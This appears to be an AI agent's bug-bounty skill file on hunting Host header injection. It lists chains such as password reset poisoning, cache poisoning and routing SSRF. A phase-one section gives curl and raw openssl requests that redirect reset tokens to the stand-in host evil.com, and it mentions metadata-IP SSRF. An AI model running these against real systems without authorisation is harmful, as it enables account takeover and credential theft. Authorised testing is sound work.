/hunt-host-header

name: hunt-host-header
description: "Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature."
sources: portswigger_research, hackerone_public
report_count: 16

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the *technique source* in your report, never a fabricated ID:

• **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era

"Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.

• **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,

James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.

• **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF

(Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.

---

Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

**Highest-value chains:**

• **Password reset poisoning → ATO** — server builds the reset link from the request Host;

attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting* their own reset leaks the token to evil.com.

• **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects

an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.

• **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;

`Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.

• **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /

`X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)

• **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →

auth-code or token theft → ATO.

---

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

**Dangerous header candidates (unkeyed / trusted inputs):**

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

---

Step-by-Step Hunting Methodology

> Always test against **your own** registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must appear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator domain) for th